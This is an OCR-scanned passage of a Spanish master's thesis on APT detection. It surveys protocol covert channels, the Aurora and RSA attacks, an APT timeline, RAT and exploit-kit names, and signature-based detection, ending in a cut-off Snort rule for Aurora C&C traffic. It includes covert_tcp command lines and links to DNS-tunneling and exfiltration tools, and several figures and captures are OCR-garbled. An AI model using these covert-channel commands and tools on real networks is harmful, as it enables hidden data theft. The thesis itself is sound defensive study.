20 4.805426 10.2.2.1 10.2.2.2 TCP http > 20996 [SYN, ACK] Seg=
4. oBoBol) oZotloll, 20996 > http Seq=1 Win|
26 5.805741 10.2.2.2 10.2.2.1 TCP 53532 > http [SYN, CWR] Seg=
27 5.806207 10.2.2.1 10.2.2.2 TCP http > 53532 [SYN, ACK] Seg=
85 0Bl 0Botdodh 53532 > http Seq=1 Win|
31 6.809029 10.2.2.2 10.2.2.1 TCP 10250 > http [SYN, CWR] Seg=
32 6.809074 10.2.2.1 10.2.2.2 TCP http > 10250 [SYN, ACK] Seg=
6 oBoBol) oZotloll, Seq=1 Win|
36 7.809806 10.2.2.2 10.2.2.1 TCP 8738 > http [SYN, CWR] Seg=0
37 7.810058 10.2.2.1 10.2.2.2 TCP http > 8738 [SYN, ACK] Seq=0 _

r
~ Transmission Control Protocol, Src Port: 33826 (33826), Dst Port: http (88),=*
Source port: 33826 (33826)

Destination port: http (88)

[Stream index: 1]

Sequence number: @ (relative sequence number)

Header length: 20 bytes

Flags: 0x82 (SYN, CWR)

Window size: 512

- Checksum: Bxa7e89 [validation disabled] -

-

0000 88 B0 27 S5e 27 6a 08 8@ 27 ac c9 73 88 00 45 0O
0010 00 28 b5 00 00 00 40 @6 ad c% 0a 02 02 02 Ga 02
0020 62 01 84 22 00 50 69 0O 00 00 00 0O 0O 00 50 82
0030 02 00 a7 9 00 0O 00 0O 00 00 00 60

@ Sequence number (tcp.seq), 4 bytes || Packets: 294 Displ... | Profile: Default

Figura 21: Ejemplo de covert_tcp.
(Holguin, J. M., Moreno, M., Merino, B.,Mayo 2013, p.166)

En la captura de trafico se aprecia como en el nimero de secuencia del primer paquete esta
el caracter “i”, que se corresponde con el primer caracter almacenado en el documento que

se envia desde el cliente al servidor.

Comandos utilizados (Rowling, 1997):
1. Server# Jcovert_tcp -dest destIP -source sourcelP -dest_port destPort -file
filename -server -seq
2. Cliente# Jcovert_tcp -dest destIP -source sourcelP -dest_port destPort -file

filename -seq
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Covert Channels Storage: UDP protocol
El User Datagram Protocol (UDP) se encuentra definido en el RFC768, y forma parte de la

suite de protocolos TCP/IP. Este protocolo provee de un procedimiento para programas de la
capa de aplicacion para enviar mensajes a otros programas con un mecanismos de
protocolo minimo. Ademas, es un protocolo orientado al intercambio, y la entrega no esta

garantizada (es un protocolo no fiable, al contrario que el protocolo TCP).

A continuacion se muestra la cabecera del protocolo UDP:

0 7 8 15 16 23 24 31
$-=-====-- e e e -
| Source | Destination |
| Port | Port |
$--mm - i tm—m = +-—m— - +
| | |
| Length | Checksum |
$--mm - i tm—m = +-—m— - +

Figura 22: Cabecera del protocolo UDP. RFC768.

Algunas investigaciones (Bidou, Raynal, 2005) han demostrado que la cabecera del

protocolo UDP es aprovechable para el establecimiento de canales encubiertos en la red.

En este caso son tres los campos de la cabecera UDP que pueden usarse para transferir

informacién e intentar pasar desapercibidos: Source Port, Length y Checksum.

Igual que ocurre en el caso de la cabecera IP y TCP que se han visto anteriormente, un
atacante podria introducir informacién en cualquiera de estos campos para pasar
desapercibido a los ojos de un analista, puesto que dificulta sobremanera su deteccion

(Holguin et al., 2013).

Deteccién de APT con herramientas de seguridad de caracter libre 47



Master Universitario en Seguridad Informatica Luis Besteiro Calvo

Covert Channels Storage: CAPA DE APLICACION
En este apartado se referencia algunos de los protocolos mas utilizados por los atacantes a

nivel de aplicacion para ocultar informacion, sobretodo porque cumplen la maxima de que
los cortafuegos corporativos permiten este tipo de trafico de salida.

* Domain Name System (DNS).

* Hypertext Transfer Protocol (HTTP).

* Dynamic Host Configuration Protocol (DHCP).

DNS protocol
El Domain Name System (DNS), descrito en los RFC1034 y RFC1035 es el protocolo que

traduce localizadores de recursos legibles a direcciones IP enrutables.

A continuacion se muestra la cabecera del protocolo DNS:

0 4 8 12 16 20 24 28 32
l | | | | |
Identifier Flags and Codes .
Question CDU",-'- Answer Record Count
Name Server 1)351_.glhz‘j"r"i'ry Recorgl-]-'ff-.:wnf Lddisonal Record Gourt
16 " 18 720 22 24 26 28 30 32
R L Auvthor | Trun- | Recur Recur-
EE- . : " . s1on
sponse Operation Code ::x: ':;’.::" Doy | Avait Zaro Response Code
= (A | 09 | ko) | e

Figura 23: Cabecera del protocolo DNS.
(Kozierok, 2005, p.934)

Como Couture (2010) indica, los componentes clave de la cabecera del protocolo DNS
estan principalmente localizados en los bits 16 a 32 de dicha cabecera (figura 23). Entre
otras cosas, los flags sirven para indicar si el mensaje DNS en retorno es el mensaje
acreditado, o si una recursividad adicional es necesaria para localizar la respuesta para la

peticion. La peticion viajara a través del sistema DNS partiendo del secundario hacia los
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sistemas primario y ‘root’, en busqueda de la respuesta acreditada para la peticion, la cual

sera finalmente devuelta al host originario, tal como se muestra en la figura 24.

DNS Query (Recursive)
(by Nirlog.com)

Root Servers

.com Namespace

Step 2 Step 3 & L
Question: where can | find the IP Answer. | don't know but .com  S=C ! N
Address of some-webserver.com? NameSpace should have the \ﬂ“a‘ ,Qc_,eﬁ" 566 dﬁs‘
answer ot L
© ot~ o
"E\';{\ {49-( -
=a
z‘:}

Mot authoritative for
some-webserver.com

User's Primary UNS Server
(Recursion Allowed)

Step 1 Step 8
Question: what is the IP ep &, dg)
Address of same- nswer: Here is the IP Serv mf'esE of
webserver.com? Address of some- )
Please reply to My IP Addréss webserver.com

Primary DNS Server of
some-webserver.com

s
;ser's PC

My IP Address
Figura 24: Proceso recursivo de peticion DNS.

Recuperado el 4 de agosto de 2016 de http://nirlog.com/2006/03/28/dns-amplification-attack/

Los exploits para crear canales encubiertos utilizando el protocolo DNS aprovechan su
bidireccionalidad, recursividad y su naturaleza insegura, haciendo posible exfiltrar
informacién desde dentro de una red segura, acceder recursos restringidos o proveer de un

medio para el control del malware residente (Couture, 2010).

Herramientas que permiten para crear este tipo de canal encubierto, descritas en el articulo
de Couture (2010):
* OzymanDNS: (https://dankaminsky.com/2004/07/29/51/). Scripts escritos en Perl,

desarrollados y popularizados por el guri DNS Dan Kaminsky.
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* NSTX: (http://savannah.nongnu.org/projects/nstx/). La Name Server Transfer

Protocol es una de las aplicaciones originales de tunelado DNS-IP. No actualizada en
mas de 7 afos, aunque todavia muy funcional.

* dns2tcp: (http://www.hsc.fr/ressources/outils/dns2tcp/). Muy similar a OzymanDNS.

Crea un tunel DNS utilizando una redireccion DNS “IN”, permitiendo el trafico
arbitrario.

* lodine: (http://code.kryo.se/iodine/). Una variante actual con codigo fuente UNIX'y

binarios Windows. Ofrece proteccién por contrasefia y multiples opciones

concurrentes de usuario.

HTTP protocol

El Hypertext Transfer Protocol Version HTTP, es un protocolo de comunicacion de red
perteneciente a la capa de aplicacion de los modelos OSl y TCP/IP, y que fue desarrollado
por el World Wide Web Consortium (W3C) y la Internet Engineering Task Force (IETF). Su
version mas actual (HTTP/2.0) se encuentra definida en el RFC7540. Define la sintaxis y la
semantica que utilizan los elementos de software de la arquitectura web para comunicarse,
siendo un protocolo sin estado (no guarda ninguna informacion sobre conexiones
anteriores). Debido a que las aplicaciones web necesitan frecuentemente mantener el
estado, se recurre a las cookies, siendo éstas una herramienta utilizada, como se vera en

los siguientes parrafos, para llevar a cabo el canal encubierto.

Tal y como exponen Holguin et al. (2013) HTTP es el protocolo mas utilizado hoy en dia
como transporte de informacion, y por ello las organizaciones permiten su uso en
cortafuegos, lo cual hace que sea elegido por los atacantes como medio de transporte para

la extraccion de la informacion.

Una de las técnicas utilizada para extraer informacién y que resulta bastante habitual en
APTs es COVCOM (Hiddeen Comments for Covert Communication), que utiliza los

comentarios del protocolo HTTP para introducir informacién encubierta.
Un ejemplo de PoC sobre como utilizar la cabecera HTTP Cookie esta descrito en el

articulo “How to cook a covert channel” (Gray World Team, 2006), donde los autores crean

una herramienta para crear un Covert Channel con esta cabecera (Holguin et al., 2013).
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Otro ejemplo de PoC de este tipo de canales encubiertos es el creado sobre Facebook por
José Selvi en su investigacion para el SANS Reading Room (Selvi, 2012), utilizando la
herramienta desarrollada en la misma investigacion, FaceCat, la cual se puede descargar

desde http://www.giac.org/paper/gcih/10163/covert-channels-social-networks/117979. Con

esta herramienta, un atacante puede extraer informacién utilizando como lugar de
almacenamiento la red social Facebook, lugar en el cual un analista unicamente visualizara
trafico hacia la red social, no viendo dominios extrafos, ni trafico hacia paises sospechosos

para la actividad del usuario, etcétera (Holguin et al., 2013).

A continuacion se enlazan dos videotutoriales del autor del estudio acerca del uso de la
herramienta FaceCat para crear canales encubiertos a través de Facebook:
* FaceCat (FaceBook Cat): https://www.youtube.com/watch?v=flZUuRK2R-k

* FaceCat + Poison lvy: https://www.youtube.com/watch?v=C_c8KNvVSVg

DHCP
El Dynamic Host Configuration Protocol (DHCP), definido en el RFC 2131, provee un

framework para compartir informacion de configuracion a los dispositivos en una red TCP/IP.

Rios y Onieva (2008) analizan en su estudio “Clasificacion de canales encubiertos. Un
nuevo canal:Covert DHCP” la implementacién de canales encubiertos utilizando el protocolo
DHCP.

La primera de las implementaciones se basa en el campo xid de la estructura de mensajes
DHCP. El cliente DHCP modificado permite que el usuario pueda decidir si utilizar el canal
encubierto en la solicitud de una configuracion de red. El principal inconveniente es su
reducido ancho de banda, y su mayor ventaja es que utiliza un campo de naturaleza

aleatoria y de amplio uso.

La segunda de las implementaciones se basa en el campo Options. En este caso se ha
optado por la utilizacién de aquellas opciones que se encuentran definidas dentro del
protocolo como opciones de uso privado, es decir, las pertenecientes al rango 224 — 254.
Como inconveniente principal esta en su detectabilidad, y como ventaja se tiene un mayor

ancho de banda que en la anterior implementacion.
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T T m T - +
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Figura 25: Formato de un mensaje DHCP. RFC 2131.

SNMP

El Simple Network Management Protocol (SNMP) es un protocolo de capa de aplicacion que

facilita el intercambio de informacion de administracién entre dispositivos de red, permitiendo

a los administradores supervisar el funcionamiento de la red, buscar y resolver sus
problemas, y planear su crecimiento. Viene descrito en el RFC 1157 (SNMP, 1990) y en el
RFC 3410 (SNMPv3, 2002).

Esteban (2016) en su articulo “SNMPChat: Chatear en un canal encubierto sobre SNMP”,

muestra una Prueba de Concepto de como crear un canal encubierto sobre el protocolo

SNMP utilizando la herramienta SNMPChat, cuyo cddigo se puede descargar del siguiente

link: https://github.com/jevalenciap/snmp_chat/blob/master/snmp_chat2.py.
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Otros Tipos de Covert Channels
Canales de Temporizacion: Jitterbug

En agosto de 2006 ve la luz un estudio que crea canales de temporizacion a partir de un
dispositivo al que se bautiza con el nombre de Jitterbug, el cual puede ser implementado
tanto por software como por hardware, y cuya finalidad es la de reconocer informacion
sensible y modularla a través de la red. Son mecanismos semipasivos que no generan

nueves eventos sino que utilizan otros para transmitir la informacién (Rios, Onieva, 2008).

Shah, Molina y Blaze (2006) desarrollan un ejemplo basado en un jitterbug hardware para
teclado. Este se aprovecha de que la mayoria de las aplicaciones de red interactivas (ejm.
Telnet) envian un paquete de datos tras cada pulsacién de teclado realizada. Asi pues,

jitterbug afadira pequefios retrasos, inapreciables a nivel de usuario, a las pulsaciones de
teclado, para retrasar a su vez el envio de los respectivos paquetes. Estos retrasos seran

observados por la entidad receptora con el fin de recuperar la informacion oculta.

Bi= {140 150,340,830}

b={0,1,0.1}
-t ={123,145,333.813} - {140,150,340,830}

O—————js s sibi=
8 mod
HEEEEEH JI}V@ sib=

m={h"'o. T2} ‘-JM

m{hola} m{hola]

b={0,1,0,1}

Figura 26: Ejemplo de uso de un dispositivo jitterbug para teclado.
(Rios, Onieva, 2008, p.5)

Covert Channels en videojuegos multijugador

Zander (2010) en su tesis “Performance of Selected Noisy Covert Channels and Their
Countermeasures in IP Networks”, capitulo 5, muestra una posible implementacién de canal
encubierto utilizando un videojuego multijugador online del tipo shooter en primera persona,
denominado por él mismo FPS Covert Channel (FPSCC).

FPSCC es un canal entre clientes del juego escondido de los operadores del servidor de
juego y de los jugadores que no son participantes de la comunicacion producida a través del
canal encubierto. La transmisién de la informacion se llevara a cabo utilizando los

movimientos de inclinacion y de movimiento de mandibula de los personajes de los
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jugadores, pero de tal manera que no sea evidente, utilizando una captura de movimiento de
entre varias enviadas.

Client Server
=€ Commang

= t - pitch I“
Snapshot ]

Pl = yaw
_ —
[ z
T - ¥ y
L& —

X
Figura 27: Mensajes intercambiados entre servidor y cliente, y movimientos del personaje
utilizados para transmitir la informacion.

(Zander, 2010, p. 110)

Covert Channels basados en temperatura

Zander (2010) también presenta una implementacién de canal encubierto basado en la
temperatura de la CPU. El el ejemplo, el emisor modula la carga de la CPU de un host
intermedio conectado a la red (por ejemplo un servidor publico) por medio de la variacién del
ratio de peticiones enviadas, en funcién de los bits encubiertos a codificar. La variacion en la
carga de la CPU modifica su temperatura, que a su vez induce cambios en la sefal de reloj,
la desviacion en referencia al tiempo real. El receptor mide la deformacion de la senal de
reloj del host intermedio obteniendo timestamps dicho reloj y comparando estas con las del
reloj local. Entonces decodifica los bits encubiertos mediante la estimacién de las
deformaciones en la sefal de relo;.

Pal‘ternﬂinjected

) L{Lﬁ.

P N
%

) Intermediate

Bob Pattern measured
UL
time

Figura 28: Canal encubierto basado en temperatura.

(Zander, 2010, p 140)
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3.3.Ejemplo de ataques conocidos

En el documento “Assessing Outbound Traffic to Uncover Advanced Persistent Threat” de
Binde et al. (2011), se describen dos ataques APT que describen de manera clara los

componentes clave de un ataque APT.

Operacioén Aurora

Este ciberataque llevado a cabo contra diversas tecnoldgicas, de seguridad y defensa
comenzo a mediados de 2009 y continud hasta diciembre del mismo afio. Los atacantes
eligieron como blanco los sistemas Software-Configuration Management (SCM) que
contenian informacién propiedad de Google, Adobe y otras compafias. La anatomia del

ataque entra dentro de la categoria de un ataque APT clasico:

i Ty

— — —

=

ATTACKER WORKSTATION
COMMAND AND CONTROL HOSTS

e LTI (T

SOURCE CODE REPOSITORY

VICTIM WORKSTATIONS

Figura 29: Anatomia del ataque Operacion Aurora.
(Binde et al., 2011)
El ataque era “avanzado” ya que lo atacantes llevaron a cabo, con la intencién de ganar
acceso a las redes victima, un ataque Spear Phishing dirigido contra la compania. El email
recibido por los empleados contenia un link a un sitio web que alojaba cédigo JavaScript
malicioso. Este malware explotaba una vulnerabilidad de Internet Explorer. Una vez
explotado, el sistema de la victima se conectaba a una serie de servidores C&C utilizando el

puerto 443 TCP, asociado a trafico cifrado, y por lo tanto dificil de inspeccionar.
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El ataque era “persistente” ya que después de ganar infiltrarse dentro de las companias
objetivo, los atacantes emplearon los terminales infectados para comprometer otros
recursos internos empleando el pivoting o movimiento lateral para evitar firewalls y otras

restricciones.

El ataque era una “amenaza” ya que los adversarios demostraron alta motivacion,
financiacion, y formaban parte de una organizacion estructurada. No solo tenian la intencion
de acceder a informacion sensible, ademas tenian la capacidad. Esto lo apoya el hecho de

que los ataques fueron rastreados hasta dos escuelas chinas.

RSA Breach
En marzo de 2011, RSA reconocié un ataque exitoso contra su red. Los métodos utilizados

por este ataque ilustran los componentes tipicos de un ataque APT.

Objetivo: El ataque comenzd6 con una campana de phishing, con la intencion de introducir el
malware en la red de la compaifiia, eligiendo como blanco dos pequefios grupos de
empleados. En este caso los atacantes utilizaron una vulnerabilidad zero-day de Adobe
Flash para, a través de una hoja de Microsoft Excel, instalar de forma un kit de acceso
remoto o Remote Access Toolkit (RAT) en la maquina victima conocido como Poison Ivy (PI-
RAT).

Movimiento lateral hacia recursos internos para recabar informacién: Una vez
conseguido el acceso a la red interna utilizando PI-RAT, los atacantes comenzaron a
moverse lateralmente hacia otros recursos internos. Una vez que recabaron la informacion

para exfiltrar, ésta fue colocada en diversos servidores internos.

Exfiltracion de la informacion: Para ocultar la retirada masiva de informacion, ésta fue
colocada dentro de archivos RAR comprimidos y protegidos por contrasefa, utilizando FTP
para transferirlos a un servidor intermedio infectado, siendo posteriormente retirandos de

éste.
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3.4.Historia de las APT — Noticias — Ataques conocidos
ORIGEN

Con la publicacion del informe “APT1 Exposing One of China’s Cyber Espionage Units” de
MANDIANT en 2013, se da a conocer al gran publico la existencia de este tipo de ataques
que estan siendo patrocinados por distintos gobiernos para obtener informacién ventajosa
sobre actividades y tecnologias de terceros (Holguin et al., 2013). No obstante, ya en 2006,
los analistas de la Fuerza Aérea de Estados Unidos (USAF) habian acunado el término APT
para facilitar la discusion sobre actividades intrusivas con sus contrapartes civiles difusas
(Binde et al., 2011).

En cuanto al &mbito nacional, en 2010 a través de una entrevista a los medios de
comunicacion, un alto cargo del Centro Criptoldgico Nacional (CCN-CNI) informaba de que
se habian registrado en 2009 mas de 40 ataques cibernéticos categorizados como ‘graves’
contra instituciones, organizaciones, e incluso en el mismo centro, siendo en todos los casos

patron comun el malware sofisticado y creado dirigido a la victima (Holguin et al., 2013).
HISTORIAL DE ATAQUES APT

A continuacion se muestra una tabla con los acontecimientos mas importantes relacionados
con las APT.

Tabla 3: Cronologia de las APT

Aio Nombre Motivacion Descripcion

Oficiales norteamericanos
modifican el software del

. Politico/militar equipamiento informatico adquirido
(LS| The Farewell Dossier (USA— URSS) por los soviéticos para operar un
gaseoducto, causando la explosion
de éste (O’Harrow, Linch, 2012).

1986 |The Cuckoo’s Egg Politico/militar En 1986 se descubrio la intrusion
(URSS — USA) | de un hacker, que vendia la
informacioén obtenida a la KGB, en
las redes de instituciones
académicas, militares y
gubernamentales de Estados
Unidos. Fue la primera
investigacion de su tipo, y donde
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por primera vez se puso en practica
el concepto de Honeypot
(Stoll, 1988).

2003 |Titan Rain

Politico/militar
(? > USA)

Un grupo de hackers,
supuestamente apoyados por
China (el ataque se realiz6 desde
este pais, aunque no se sabe si
utilizado a modo de proxy por otras
potencias) (Graham, 2005).

APT1

2006

Politico/militar
(China — USA)

Mandiant (2013), describe en su
informe “APT1. Exposing One of
China’s Cyber Espionage Units” los
ataques llevados a cabo desde
2006 por un grupo de atacantes al
que se bautizé como APT1, contra
cerca de 150 organizaciones.

Operacion Shady RAT

Politico/militar

Ciberataque de 5 anos de duracién
orientado al robo de informacion en
el que se vieron afectadas hasta 72
organizaciones de todo el mundo
(EIMundo, 2011).

2008 |Buckshot Yankee

Politico/militar

La brecha de seguridad mas
importante en la seguridad
informatica de Estados Unidos se
produjo cuando, supuestamente,
alguien trabajando en el Comando
Central del Pentagono introdujo
una memoria USB infectada en un
portatil militar en una base en

(? = USA) oriente medio. El cédigo dafiino se
esparcio sin ser detectado en
sistemas tanto clasificados como
no clasificados, transmitiendo la
informacién recabada a servidores
bajo control extranjero (O’Harrow,
Linch, 2012).

2009 |Operacion Aurora Propiedad Primer gran ciberataque reconocido
Intelectual contra multiples empresas (Google,
(China — Adobe Systems, Juniper Networks)
Empresas) con la intencién de recopilar

informacién sobre Propiedad
Intelectual. (McAfee Labs, McAfee
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Foundstone Professional Services,
2010)

Operacion GhostNet

Politico/militar
(China — Dalai
Lama)

Red de unos 1295 dispositivos
infectados en 103 paises, siendo
un 30% considerados objetivos de
alto valor, incluidos ministerios de
exteriores, embajadas,
organizaciones internacionales,
medios de informacién y ONGs.
Las evidencias de penetracion en
sistemas que contenian
informacién sensible sobre el Dalai
Lama y otros objetivos Tibetanos.
(TheSecDevGroup, 2009)

Politico/militar

Ciberataque concebido por los
servicios de espionaje de Estados
Unidos e Israel para sabotear los
sistema SCADA de la central irani
de enriquecimiento de uranio
Natanz. Si bien la intencién era que

Stuxnet (USA/Israel — )
Ir el malware afectara solo a dicha
ran) . e .
instalacion, finalmente se expandié
por otro paises debido a la
conexion a Internet de dispositivos
portatiles infectados (Anderson,
2010 2012).
Propiedad Ataque focalizado en el sector
T Intelectual " .
Operacién Night . energético con el objetivo de robar
(China — . . : .
Dragon Embresas Sector informacién confidencial (McAfee
P ” Labs y McAfee Foundstone, 2011).
Energético)
Campana de espionaje a agencias
Politico/militar gubernamentales y diplomaticas
Red October (Rusia) internacionales entre 2010 y 2012
(Wangen, 2015).
2011 Campana de ciberespionaje
. industrial y enfocada al robo de
. Propiedad . 7
Nitro informacién de grandes empresas
Intelectual o
quimicas y del sector de la defensa
(Holguin et al., 2013).
Duqu Politico/militar Malware posiblemente de los
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(USA —
Europa/Oriente
Medio)

mismos creadores de Stuxnet con
fines de espionaje de PLCs y
sistemas de control industriales
para preparar posteriores ataques
(Wangen, 2015).

2012

Flame

Politico/militar
(? — Oriente
Medio)

Malware modular utilizado para
espiar a paises de Oriente Medio.
No hay consenso de cuanto tiempo
llevaba produciéndose el ataque
(Wangen, 2015).

Mahdi

Politico/militar
(Iran — Oriente
Medio)

Malware entre cuyas victimas se
incluian infraestructuras criticas de
companias, servicios financieros y
embajadas diplomaticas localizadas
en Iran, Israel y otros paises de
Oriente Medio (Wangen, 2015).

Shamoon

Hacktivismo

Ataque asumido por el grupo
hacker “Cutting Sword of Justice”
que infecto alrededor de treinta mil
PCs de la compania saudi “Saudi
Aramco” probocando elevados
dafos a sus sistemas de
informacién (Wangen, 2015).

Gauss

Malware enfocado al ciberespionaje
basado en Flame, disefiado con el
objetivo de robar tanta informacion
como sea posible del sistema
infectado. Afectd principalmente al
Libano (Wangen, 2015).

2014

Careto

Politico/militar
(Espana — )

Malware avanzado de espionaje
con posible origen en Espafia que
tenia como objetivos instituciones
gubernamentales, embajadas,
industria energética, compafiias
privadas, institutos de investigacién
y activistas mayoritariamente de
Marruecos, Brasil y Gibraltar (Virus
News, 2014).

Dragonfly

Politico/militar
(Europa del este)

Descrito por Symantec como el
ataque mas ambicioso donde los
ataques habian comprometido
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sistemas legitimos de fabricantes
ICS/SCADA. Afect6 a las industrias
de aviacion, defensa, y mas
recientemente energia. Kaspersky,
en su analisis, considera que la
motivacién del ataque era la de
reunir informacién sobre futuros
objetivos potenciales (Wangen,
2015).

Infiltracién en los sistemas del
Comité del Partido Demécrata de
Estados Unidos, y de los servidores
Politico/militar de correo utilizados por la
DNC Hack . candidata a la presidencia Hillary
(Rusia — USA) Cl

inton, por parte de dos grupos de
origen ruso conocidos como “Cozy
Bear” y “Fancy Bear” (Alperovitch,
2016).

Una de las APT mas avanzadas
conocidas hasta la fecha, que se
cree ha estado activa desde 2011
2016 en mas de 30 organizaciones
(gobierno, ciencia, militar,
telecomunicaciones, finanzas) de
Rusia, Iran, Ruanda, y
posiblemente en paises de habla
Politico/militar italiana. Los servidores C&C
estaban localizados en los Estados
Unidos y en diversos paises
europeos. El objetivo de los
atacantes era informacion sobre los
sistemas de cifrado propios de las
victimas, asi como documentacion
sensible y claves de cifrado
(GREAT, 2016).

Project Sauron /
Strider

Se puede encontrar amplia documentacién como documentos publicos, whitepapers y
articulos sobre campafias APT en el siguiente repositorio de GitHub, APTnotes:
https://github.com/kbandla/APTnotes.
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3.5.El Ciberespionaje- Seguridad Nacional

Los ciberataques son una amenaza con la que terroristas, el crimen organizado, empresas,
Estados o individuos aislados podrian poner en peligro infraestructuras criticas, vitales para
el funcionamiento de un pais. Entre otas se pueden encontrar aquellas que dan soporte a la
generacion y distribucién de energia, a las tecnologias de la informacién y las
comunicaciones, instalaciones relacionadas con la salud, infraestructuras relacionadas con
el suministro de agua potable, y el transporte de mercancias y personas, tecnologias y
elementos relacionados con los sectores financieros, o cualquier otro servicio o activo que

sea critico para el funcionamiento de un pais (Holguin et al., 2013).

Se han dado numerosos precedentes de de como un pais puede sufrir serios dafios ante un
ciberataque, o como puede utilizarse en un acto de terrorismo (Holguin et al., 2013):

* 1985 - Ataque terrorista — grupo Middle Core Faction: ataque al sistema de
control de los ferrocarriles de alta velocidad en Japén. Resultado: 6,5 millones de
usuarios afectados y coste econémico de 6 millones de ddlares.

* Anos 90 — Conflictos bélicos - robo de informacién estratégica — manipulacion de
la informacion.

« 2007 — Estonia es victima del primer ataque a gran escala contra un estado.
Resultado: sitios gubernamentales, medios de comunicacion, bancos y diversas
organizaciones vieron su seguridad de la informacion afectada.

* 2011 - Intrusiones en bases de informacion del Gobierno de Canada con datos
altamente confidenciales.

e 2012 — Recopilacién y robo de informacidn estratégica a estados de Oriente
Medio.
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3.6.EL MERCADO DEL CIBERCRIMEN

Los criminales siempre encuentran la manera de obtener un rédito econémico a partir de la
desgracia ajena, bien sea directamente llevando ellos a cabo el robo o bien indirectamente
vendiendo a otros delincuentes las herramientas necesarias para llevar a cabo el delito, y en

el caso de los cibercriminales no es diferente.

Con el auge de la sociedad de la comunicacion, ha habido un crecimiento paralelo del
mercado del cibercrimen, el cual se nutre de la comercializacidon de malware hecho a
medida, vulnerabilidades 0-day, exploits, ataques DDoS u otro tipo de sabotajes o

ciberespionaje.

La posibilidad de llevar a cabo estas transacciones y ciberdelitos en el anonimato, gracias a
las criptomonedas como Bitcoin en el caso de las transacciones, y gracias a sitios ubicados

en la DarkNet accedidos a través del software libre de navegacion cifrada y anénima TOR.

En el articulo “Top 20 Countries Found to Have the Most Cybercrime” (Sumo3000, 2010)
podemos ver una lista con los 20 paises con mayor ciberdelincuencia desarrollada por la
empresa de seguridad informatica Symantec. En ella podemos ver que los paises que se

encuentran en el top3 son Estados Unidos, China y Alemania.
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3.7.Herramientas APT - Malware

Una de las caracteristicas de las APT es que infectan el sistema victima con software
especialmente desarrollado para por un lado analizar la red y sistemas infectados, y por otro
lado tomar su control, permitiendo la comunicacion entre atacante y victima sin que ésta sea
consciente del hecho y adquiriendo un control total, tal y como si se tuviera acceso fisico al
dispositivo. Dicho software es definido como un tipo de malware conocido por las siglas RAT,
que son el acrénimo de Remote Administration Tool , o lo que es lo mismo en espafiol,

Herramienta de Administracion Remota (Siciliano, 2015).

Algunas de las herramientas RAT mas conocidas son:

* AndroRAT.

* Back Orifice.
* NetBus.

e LuminosityLink.
* Poisonlvy.

« Sub7.

* DarkComet.

* Beast.

* Bitfrost.

* Blackshades.
*  Optix Pro.

Ademas, para llevar a cabo la infeccion se utiliza un software conocido como WebKits o
Exploits, cuyo funcionamiento basico consiste en utilizar servidores Web donde alojar un
grupo de exploits para intentar aprovechar diversas vulnerabilidades a partir de navegadores
y plugins de los clientes conectados; estos Webkits constan de una gran sofisticacién y son
frecuentemente actualizados con los ultimos exploits y técnicas de cifrado, ofuscacion y

packing con los que evadir los dispositivos de seguridad (Holguin et al., 2013).

Para lograr que las victimas descarguen en su equipo este malware existen diversos
métodos, como campanas de Spear Phishing con emails que contienen links maliciosos, o la
inclusion de codigo malicioso en paginas legitimas de modo que los usuarios sean

redirigidos a las paginas en las que se descargara el malware.
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WebKit Exploit
TDS Server

Malware
Server

Servidor web
comprometido

6

Exploit

IFRAME malicioso
Redireccion a TDS

Descarga

GET www.example.com malware

o
Usuario

Figura 30: Proceso de infeccion llevado a cabo desde que un usuario accede a una pagina
comprometida hasta que se descarga y ejecuta malware en su equipo.

(Holguin et al., 2013)

Algunos de los WebKits o Exploits mas utilizados son (Holguin et al., 2013) :
* Blackhole.
* Phoenix.
* Unique.
* Eleonore.
* Liberty.

Otros WebKits recientemente detectados (Segura, 2016):

* Angler EK.
+ RIGEK
* Nuclear EK.

¢ Neutrino EK.
* Magnitud EK.
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3.8.Actores
3.8.1 Grupos de atacantes conocidos

Algunos grupos de atacantes conocidos por sus actividades, pero sin estar directamente
ligados a un estado (lo cual no quita que puedan estar esponsorizados o apoyados por un
estado):

o Energetic Bear

o Turla.

o The Shadow Brokers

o Patchwork

3.8.2 Grupos de atacantes gubernamentales
En lo referente a grupos de acciones APT relacionados con agencias gubernamentales, se
suelen mencionar los siguientes en los distintos estudios sobre ataques:

* APT1 (Unidad 61398) — China.

* APT28 (Fancy Bear) - GRU — Inteligencia militar rusa.

« APT29 (Cozy Bear) - FSB — Servicio Federal de seguridad de Rusia .

* The Equation Group - NSA TAO — Agencia de Seguridad Nacional EEUU.

3.8.3 Grupos gubernamentales de Ciberseguridad y Ciberdefensa
En cuanto a instituciones gubernamentales dedicadas a la ciberseguridad y ciberdefensa
podemos encontrar, en Espafia:

» Centro Criptologico Nacional (CCN).

* Instituto Nacional de Ciberseguridad (INCIBE).

e Mando Conjunto de Ciberdefensa (MCCD).

3.8.4 Empresas de Ciberseguridad
Algunas de las empresas con mayor prestigio a nivel internacional que suelen elaborar
informes que son tomados como referencia en el mundo de la ciberseguridad:

* FireEye — Mandiant.

» Kaspersky.

* Symantec.
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3.9. Metodologias de Detecciéon de APT a través del trafico
de exfiltraciéon

Las APT, a dia de hoy, constituyen uno de los peligros mas importantes y de mayor

expansion a los que se enfrentan los profesionales de la seguridad, y son practicamente

inevitables para la mayoria de las organizaciones, y es por ello que la cuestion principal que

se ha de plantear en el panorama actual frente a este tipo de amenazas es como detectarlas

(Holguin, J. M., Moreno, M., Merino, B., 2013).

Si bien, incluso la mejor metodologia de monitorizacidon no puede garantizar la deteccién del
cédigo de la APT atacante, debido a que ésta dependen del control y acceso remoto, la
actividad de red asociada con dicho control puede ser identificada, contenida e interrumpida

a través del andlisis del trafico de red saliente (Binde et al., 2011).

Entre las distintas metodologias que se pueden implementar para detectar APT se pueden
encontrar:

* Conjuntos de reglas basadas en firmas.

* Meétodos estadisticos y de correlacion.

* Aproximaciones Manuales.

* Bloqueo automatico de exfiltracion de informacién.

3.9.1 Reglas de Firmas

La metodologia de deteccién de APT por reglas de firmas, cominmente utilizada en
Sistemas de Deteccién de Intrusiones (IDS), que consiste en buscar patrones de
coincidencia del trafico de red en relacién a un patréon preestablecido (firma) que pueda

alertar de una anomalia o un posible ataque.

Algunos ejemplos de utilizacion de esta metodologia para la prevencién del ataque RSA
serian (Binde et al., 2011):
* Identificacion de campafas de phishing.
* Reconocimiento y bloqueo de trafico malicioso tal como el asociado con PI-RAT.
* Monitorizacién del Registro de Windows en busqueda de entradas peligrosas

conocidas.
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A continuacién se muestra un ejemplo de firma producida por Avert Labs para IDS que

permita detectar el trafico del C&C de la APT Aurora:

alert tcp SHOME NET any —> SEXTERNAL NET 443 (msg:"ET TROJAN Aurcora C&C
Checkin"; flow:established, to server; content:"|ff ££f £f £f ££f £f 00 00
fe

